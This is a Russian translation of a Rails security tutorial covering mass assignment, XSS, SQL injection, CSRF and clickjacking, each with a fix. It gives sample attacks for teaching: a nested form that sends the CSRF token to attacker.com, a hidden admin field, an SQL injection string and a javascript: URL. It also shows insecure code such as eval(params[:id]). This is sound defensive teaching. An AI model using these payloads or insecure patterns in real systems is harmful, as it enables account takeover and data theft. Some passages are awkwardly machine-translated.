Статьи

Подводные камни безопасности Common Rails и их решения

Платформа Ruby on Rails делает все возможное, чтобы обеспечить вам безопасность. Однако, как следует из официальной документации , не существует понятия «безопасность по принципу« включай и работай »». Поэтому важно понимать общие (и менее распространенные) ошибки безопасности, с которыми вы можете столкнуться. В этой статье мы обсудим некоторые из этих проблем безопасности, а также шаги, чтобы сделать ваше приложение более защищенным.

Темы для обсуждения:

  • Массовое назначение
  • XSS атаки
  • Выполнение произвольного кода
  • Инъекции SQL
  • Формирование угона
  • Регистрация личных данных
  • Выявление частных токенов
  • Встраивание сайта через IFrame
  • Загрузка исполняемых файлов
  • Использование Brakeman для выявления возможных проблем

Это повтор оригинальной статьи Rails Security Pitfalls, опубликованной 23 сентября 2013 года.

Массовое задание

Вероятно, это одна из самых распространенных ошибок безопасности, поэтому я перечислил ее в первую очередь. Что означает массовое назначение, так это то, что хакер пытается обновить сразу несколько полей в базе данных, включая те, которые не должны быть изменены обычным пользователем.

Предположим, например, что у вас есть форма для редактирования профиля пользователя:

<%= form_for @user do |f| %> <%= f.label :name %> <%= f.text_field :name %> <%= f.label :surname %> <%= f.text_field :surname %> <%= f.submit %> <% end %> 

Хорошо, а теперь действие контроллера:

 def update @user = User.find(params[:id]) if @user.update_attributes(params[:user]) redirect_to some_path else render :edit end end 

Это выглядит вполне законно, но на самом деле это огромная дыра в безопасности. Если в таблице users есть столбец admin , злоумышленник может легко изменить ее с помощью текущей версии метода контроллера. Единственное, что нужно сделать хакеру, это вручную добавить скрытое поле на страницу, которое выглядит примерно так:

 <input type="hidden" name="user[admin]" value="true"> 

Угадай, что происходит? Хакер теперь админ, потому что мы с радостью позволяем этому случиться. Это очень плохо, поэтому сильные параметры были введены в ядре Rails начиная с версии 4. С сильными параметрами вы вносите в белый список атрибуты, которые могут быть изменены пользователями:

 def update @user = User.find(params[:id]) if @user.update_attributes(user_params) redirect_to some_path else render :edit end end private def user_params params.require(:user).permit(:name, :surname) end 

Теперь можно изменить только имя и фамилию — любой другой параметр будет просто проигнорирован.

Если вы хотите разрешить все параметры по данному ключу, используйте permit! метод:

 params.require(:user).permit! 

Однако будьте предельно осторожны при этом.

В версиях до Rails 3 сильные параметры еще не были частью ядра, поэтому нам пришлось придерживаться метода attr_accessible который был указан внутри модели:

 class MyModel attr_accessible :name, :surname end 

XSS-атаки

Помните фразу, сказанную отцом Конана : «Никто в этом мире не может вам доверять: мужчинам, женщинам, животным …»? То же самое относится и к сети. Никогда не доверяйте никаким данным, отправляемым пользователями, если ваше приложение не используется небольшой группой людей или только для внутреннего использования. На самом деле, даже в таких случаях, не доверяйте своим пользователям, потому что они могут сделать что-то жестокое просто по ошибке или как шутка Первоапрельского дня.

Любой вывод в представления Rails по умолчанию экранируется начиная с версии 3 rails. Есть способ изменить это поведение, используя метод html_safe , но будьте очень осторожны при этом:

 # your controller @blog_post = current_user.blog_posts.find_by(id: params[:id]) # your view <%= @blog_post.body.html_safe %> 

Если кому-то (не только вам) разрешено писать сообщения в блоге, злоумышленник может попытаться вставить какой-то JavaScript в тело сообщения, и он будет обработан как любой другой скрипт. Хакер может просто отобразить некоторые окна предупреждений на вашем сайте или перенаправить пользователей на другой ресурс, переписав атрибут window.location.href . Более хитрый злоумышленник может встроить регистратор ключей на ваш сайт и попытаться украсть пароли пользователей, что, конечно, намного хуже.

Поэтому, если вы отображаете пользовательский контент на странице, никогда не применяйте метод html_safe непосредственно к ней. Сначала используйте метод sanitize и укажите список разрешенных тегов: обычно те, которые используются для форматирования, такие как b или i :

 <%= sanitize(@blog_post.body, tags: %w(b strong em i)).html_safe %> 

Существует также гем под названием Sanitize, который предоставляет некоторые дополнительные возможности, которые полезны, если у вас есть эта проблема.

Выполнение произвольного кода

Будьте очень осторожны при запуске кода, сгенерированного на лету на основе информации, отправленной пользователем, так как вы можете столкнуться с серьезной уязвимостью. Это особенно относится к методам из модуля ActiveSupport::Inflector или к таким методам, как eval , поскольку тщательно разработанные параметры могут подвергнуть вашу систему атакующему. Например, это очень небезопасно, и его следует всегда избегать:

 eval(params[:id]) 

Если вам действительно нужно запустить код на основе введенных пользователем данных, проверьте полученные данные и внесите в белый список допустимые значения.

SQL-инъекция

Инъекции SQL используются для доступа или манипулирования конфиденциальными данными, которые пользователь не может изменять. В большинстве случаев разработчики Rails защищены от SQL-инъекций, таких как

 @user = User.find_by(id: params[:id]) 

очищаются по умолчанию (то же самое относится и к использованию сильных параметров.) Однако важно помнить, что подобные действия

 @user = User.where("id = '#{params[:id]}'") 

не санированы, поэтому никогда не делайте этого ! Хакер может создать следующую ссылку http://yoursite.com/user?id=' OR 1 - и эффективно увидеть всех пользователей сайта (так как это условие всегда выполняется).

Чтобы защититься от такой атаки, используйте интерполяцию с помощью ? символы для сложных запросов:

 @user = User.where("id = ?", params[:id]) 

В этом случае вход будет санирован. Также теперь, когда Arel является частью ядра Rails, запросы проще писать. Например:

 @user = User.where("id = ? OR name = ?", params[:id], params[:name]) 

может быть переписан как:

 @user = User.where(id: params[:id]).or(where(name: params[:name])) 

Угон форм

Приложения Rails 5 добавляют токен CSRF к каждой форме (на странице был один токен для всех форм до Rails 5). Это сделано, чтобы предотвратить довольно редкий тип атаки, когда хакер вставляет свою собственную вредоносную форму в легальную:

 <form method="post" action="//attacker.com/tokens"> <form method="post" action="/legit_action"> <input type="hidden" name="authenticity_token" value="thetoken"> </form> 

HTML не допускает вложение тегов form , поэтому вредоносная форма будет заменять допустимую, сохраняя маркер. Если форма отправлена, токен отправляется на вредоносный веб-сайт. Этот тип атаки очень узкий и узкий, но о нем стоит знать.

В новых приложениях Rails 5 для параметра Rails.application.config.action_controller.per_form_csrf_tokens установлено значение true , поэтому убедитесь, что вы добавили его и при переходе с предыдущих версий. Этот параметр обычно находится в файле config / initializers / new_framework_defaults.rb .

Выявление частных токенов

Ваше приложение, вероятно, использует несколько личных токенов для взаимодействия со сторонними API или для включения аутентификации OAuth 2. Важно быть очень осторожным с этими токенами и никогда не показывать их публично (например, в общедоступном репозитории GitHub). Самое простое, что можно сделать — это извлечь их в переменные окружения и использовать драгоценный камень, например, dotenv-rails . С помощью dotenv-rails вы создаете файл с именем .env и игнорируете его из-за контроля версий:

.gitignore

 .env 

и затем поместите свои токены в этот файл:

 TWITTER_KEY=123 TWITTER_SECRET=456 

Для производства эти переменные обычно устанавливаются в файле конфигурации сервера. Для Heroku используйте следующую команду:

 $ heroku config:add TWITTER_KEY=123 TWITTER_SECRET=456 

В более старых версиях Rails секретный токен для безопасных файлов cookie был указан в файле config / initializers / secret_token.rb , но это уже не так. Rails 4 представил специальный файл config / secrets.yml с рабочим токеном, уже настроенным для использования переменной ENV:

 production: secret_key_base: <%= ENV["SECRET_KEY_BASE"] %> 

Кстати, не забудьте установить secret_key_base окружения secret_key_base , так как в противном случае любой может взломать содержимое файлов cookie, что может привести к серьезным проблемам. Кроме того, не устанавливайте простое значение для secret_key_base — вместо этого запустите rails secret команду rails secret и используйте сгенерированное значение.

Регистрация личных данных

Rails-приложения регистрируют все взаимодействия для вас, и это хорошо. Плохо то, что иногда личные данные также могут регистрироваться и становиться доступными для всех, кто имеет доступ к серверу. Примеры упомянутых данных включают пароли пользователей, номера карт, номера CCV и так далее.

Вы, вероятно, знаете, что в Rails.application.config.filter_parameters config / initializers / filter_parameter_logging.rb определен параметр Rails.application.config.filter_parameters . Изначально это выглядит так:

 Rails.application.config.filter_parameters += [:password] 

Однако обязательно обновите этот параметр соответствующим образом, если ваше приложение работает с другими конфиденциальными данными. Обратите внимание, что строки и символы здесь автоматически преобразуются в регулярные выражения, поэтому любое поле, содержащее «пароль», будет отфильтровано и заменено текстом [FILTERED] .

Отправка конфиденциальных данных через HTTP

Это может показаться довольно очевидным, но я все же хочу указать на тот факт, что конфиденциальные данные никогда не должны передаваться через обычный HTTP. Например, предположим, что вы настроили очень простую базовую аутентификацию HTTP следующим образом:

 class SomeController < ApplicationController before_action :authenticate! private def authenticate! authenticate_or_request_with_http_basic do |id, password| name == 'admin' && password == '12345' end end end 

Имя пользователя и пароль могут быть легко подделаны хакером с помощью такого инструмента, как Wireshark, если соединение не зашифровано. Следовательно, вы должны применять SSL для текущего контроллера;

 class SomeController < ApplicationController force_ssl before_action :authenticate! #... end 

Метод force_ssl принимает параметры if и force_ssl для установки условий. Кроме того, SSL может быть применен для всего приложения, установив

 config.force_ssl = true 

внутри config / application.rb .

Загрузка исполняемых файлов

Многие приложения позволяют пользователям загружать свои файлы, такие как изображения или текстовые документы. Однако при этом очень важно проверить размер файла и быть предельно осторожным с исполняемыми файлами и скриптами.

Хакер может попытаться загрузить на сервер вредоносный файл, который может быть выполнен автоматически, что приведет к очень серьезным проблемам. Это тот случай, когда, например, загруженные файлы помещаются в общедоступный каталог, если он также установлен в качестве корневого каталога Apache.

Популярные решения, такие как Paperclip , Carrierwave , Dragonfly и другие, предоставляют механизмы проверки, поэтому обязательно проверяйте их документацию при реализации функции загрузки файлов.

Регулярные выражения

Программисты, которые плохо знакомы с языком Ruby, часто рассматривают символы ^ и $ в регулярных выражениях как начало и конец строки. В действительности, эти символы означают начало и конец строки , а не целую строку. Следовательно, это регулярное выражение для проверки введенного пользователем URL:

 /^https?:\/\/[^\n]+$/i 

не очень безопасно, потому что хакер может предоставить

 javascript:some_bad_code();/* http://anything.com */ 

Это будет правильный URL с точки зрения регулярного выражения. Если позже вы вставите этот URL (хранится в столбце website ) в представление:

 link_to "User's website", @user.website 

любой, кто щелкнет по этой ссылке, будет эффективно запускать вредоносный код JavaScript. Для защиты от таких атак используйте символы \A и \z которые соответствуют началу и концу строки, а не ^ и $ :

 /\Ahttps?:\/\/[^\n]+\z/i 

Интересно, что новые приложения Rails знают об этой распространенной ошибке, и валидатор формата ( validates :some_column, format: {...} ) вызовет ошибку, когда вы используете символы ^ и $ в регулярном выражении. Если вы абсолютно уверены, что вам нужны эти символы, а не \A и \z , при создании этого валидатора установите для параметра multipart значение true .

Кстати, для проверки ваших регулярных выражений в Интернете вы можете использовать веб-сайт Rubular .

Встраивание сайта через IFrame

Наконец, позвольте мне рассказать вам о менее распространенном, но довольно интересном типе атак. По умолчанию ваш сайт может быть встроен в любой другой ресурс с помощью iframe:

 <iframe src="http://your-resource.com"> 

Похоже, ничего плохого здесь не происходит. Предположим, однако, что на вашем веб-сайте есть страница для изменения пароля пользователя. Имеет два поля (пароль и подтверждение пароля), а также кнопку отправки.

Затем хакер создает веб-сайт типа «winiphone7.com», заявляющий, что он полностью легитимен. На этом веб-сайте они отображают два текстовых поля и кнопку, которые имеют такое же расположение и ширину, что и элементы на вашем сайте (в частности, на странице «изменить пароль»). Они также встраивают ваше приложение через Iframe, но делают его невидимым с помощью атрибута стиля opacity . Затем этот Iframe располагается точно над текстовыми полями и кнопкой отправки. Затем хакер пишет что-то вроде: «Введите фразу« Я хочу iPhone 7 !!! »дважды в эти два поля и нажмите кнопку« Отправить ». Тогда вы примете участие в нашей бесплатной раздаче и получите отличные шансы выиграть новый iPhone! PS Не волнуйтесь, все наборы будут скрыты ».

Вы понимаете, о чем я?

Пользователь будет думать, что он вводит какой-то текст в поля на веб-сайте winiphone7.com, но в действительности он меняет свой пароль на вашем веб-сайте и устанавливает для него значение «Я хочу iPhone 7 !!!».

Конечно, этот тип атаки не очень широко распространен и вряд ли будет успешным: большинство пользователей сочтут подозрительным, что их типирование скрыто. Кроме того, это будет работать, только если их сеанс на вашем сайте все еще активен.

Тем не менее, помните об этой возможности и не разрешайте встраивать ваш сайт в другие ресурсы, устанавливая HTTP-заголовок X-Frame-Options внутри файла config / application.rb следующим образом:

 config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN' } 

Более новые приложения Rails отвечают этим заголовком по умолчанию.

Использование Brakeman для оценки вашего приложения

Brakeman — популярная жемчужина, которая сканирует ваше приложение на наличие общих проблем безопасности. Добавьте его в Gemfile :

 group :development do gem 'brakeman', require: false end 

Установите новый драгоценный камень:

 $ bundle install 

Затем вы можете запустить его, выполнив команду « brakeman . После завершения сканирования, Brakeman представит вам отчет в одном или нескольких поддерживаемых форматах (поддерживаются HTML, Markdown, CSV, JSON и другие).

Например, чтобы создать отчет в формате HTML, установите ключ -f :

 $ brakeman -f html 

или укажите имя файла с правильным расширением:

 $ brakeman -o output.html 

Brakeman помечает каждую найденную уязвимость меткой High, Medium или Weak, чтобы отметить уровень достоверности (то есть, насколько вероятно, что это предупреждение является реальной проблемой). Однако обратите внимание, что этот инструмент не идеален и не может найти все потенциальные проблемы, поэтому не полагайтесь исключительно на его результаты!

Вывод

Мы подошли к концу этой статьи. Конечно, у приложения может быть гораздо больше проблем с безопасностью, поэтому важно оценить его перед публикацией в производство. Потратьте некоторое время на чтение официального руководства по безопасности и используйте Brakeman, чтобы помочь вам найти уязвимости.

Если вы знаете о других распространенных проблемах безопасности, поделитесь ими в комментариях, чтобы помочь своим коллегам-разработчикам. Спасибо за чтение этой статьи и оставайтесь в безопасности!